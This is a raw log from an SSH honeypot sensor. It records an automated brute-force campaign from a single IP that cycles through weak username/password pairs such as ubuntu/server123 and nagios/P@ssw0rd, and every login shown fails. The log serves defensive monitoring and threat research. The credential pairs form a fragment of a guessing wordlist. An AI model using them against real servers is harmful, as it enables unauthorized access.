{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser12","message":"login attempt [ftpuser/ftpuser12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:54.497775Z","src_ip":"91.92.40.36","session":"ac853118cc4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"geno1123456","message":"login attempt [user/geno1123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:54.548193Z","src_ip":"91.92.40.36","session":"e843dc8599f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:55.776775Z","src_ip":"91.92.40.36","session":"ac853118cc4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:56.815837Z","src_ip":"91.92.40.36","session":"e843dc8599f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49236,"dst_ip":"159.203.135.109","dst_port":22,"session":"10289a433f22","protocol":"ssh","message":"New connection: 91.92.40.36:49236 (159.203.135.109:22) [session: 10289a433f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:01.063895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:01.766557Z","src_ip":"91.92.40.36","session":"10289a433f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:01.770905Z","src_ip":"91.92.40.36","session":"10289a433f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qw","message":"login attempt [ubuntu/qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:06.257607Z","src_ip":"91.92.40.36","session":"10289a433f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:08.634495Z","src_ip":"91.92.40.36","session":"10289a433f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32094,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d050b34d898","protocol":"ssh","message":"New connection: 91.92.40.36:32094 (159.203.135.109:22) [session: 2d050b34d898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:08.795666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:09.490824Z","src_ip":"91.92.40.36","session":"2d050b34d898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:10.662987Z","src_ip":"91.92.40.36","session":"2d050b34d898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32136,"dst_ip":"159.203.135.109","dst_port":22,"session":"79f3dc3071ea","protocol":"ssh","message":"New connection: 91.92.40.36:32136 (159.203.135.109:22) [session: 79f3dc3071ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:12.935458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:14.177783Z","src_ip":"91.92.40.36","session":"79f3dc3071ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:14.182316Z","src_ip":"91.92.40.36","session":"79f3dc3071ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"4321","message":"login attempt [dev/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:18.631045Z","src_ip":"91.92.40.36","session":"2d050b34d898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"server123","message":"login attempt [ubuntu/server123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:18.711988Z","src_ip":"91.92.40.36","session":"79f3dc3071ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:20.890114Z","src_ip":"91.92.40.36","session":"79f3dc3071ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:21.796059Z","src_ip":"91.92.40.36","session":"2d050b34d898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55862,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb8ba2682f91","protocol":"ssh","message":"New connection: 91.92.40.36:55862 (159.203.135.109:22) [session: fb8ba2682f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:21.814559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:22.888654Z","src_ip":"91.92.40.36","session":"fb8ba2682f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:22.893850Z","src_ip":"91.92.40.36","session":"fb8ba2682f91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"P@ssw0rd","message":"login attempt [nagios/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:28.457186Z","src_ip":"91.92.40.36","session":"fb8ba2682f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64638,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74929f8accc","protocol":"ssh","message":"New connection: 91.92.40.36:64638 (159.203.135.109:22) [session: e74929f8accc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:29.925041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:30.280593Z","src_ip":"91.92.40.36","session":"e74929f8accc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:30.283997Z","src_ip":"91.92.40.36","session":"e74929f8accc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:30.818833Z","src_ip":"91.92.40.36","session":"fb8ba2682f91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwert12","message":"login attempt [admin/qwert12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:32.605662Z","src_ip":"91.92.40.36","session":"e74929f8accc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:33.741488Z","src_ip":"91.92.40.36","session":"e74929f8accc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45382,"dst_ip":"159.203.135.109","dst_port":22,"session":"574bff7269c7","protocol":"ssh","message":"New connection: 91.92.40.36:45382 (159.203.135.109:22) [session: 574bff7269c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:37.554857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:37.894984Z","src_ip":"91.92.40.36","session":"574bff7269c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:38.252857Z","src_ip":"91.92.40.36","session":"574bff7269c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vida","password":"vida","message":"login attempt [vida/vida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:40.153162Z","src_ip":"91.92.40.36","session":"574bff7269c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:41.943675Z","src_ip":"91.92.40.36","session":"574bff7269c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45420,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b179f8d3c4","protocol":"ssh","message":"New connection: 91.92.40.36:45420 (159.203.135.109:22) [session: 25b179f8d3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:45.559225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:46.554379Z","src_ip":"91.92.40.36","session":"25b179f8d3c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:46.629302Z","src_ip":"91.92.40.36","session":"25b179f8d3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56230,"dst_ip":"159.203.135.109","dst_port":22,"session":"0be21793060b","protocol":"ssh","message":"New connection: 91.92.40.36:56230 (159.203.135.109:22) [session: 0be21793060b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:51.291266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:52.432762Z","src_ip":"91.92.40.36","session":"0be21793060b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:52.438648Z","src_ip":"91.92.40.36","session":"0be21793060b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brycen","password":"brycen","message":"login attempt [brycen/brycen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:55.598680Z","src_ip":"91.92.40.36","session":"25b179f8d3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22956,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b36d83c4b48","protocol":"ssh","message":"New connection: 91.92.40.36:22956 (159.203.135.109:22) [session: 0b36d83c4b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:57.187249Z"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:58.646752Z","src_ip":"91.92.40.36","session":"25b179f8d3c4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:08:59.233319Z","src_ip":"91.92.40.36","session":"0b36d83c4b48","protocol":"ssh"}
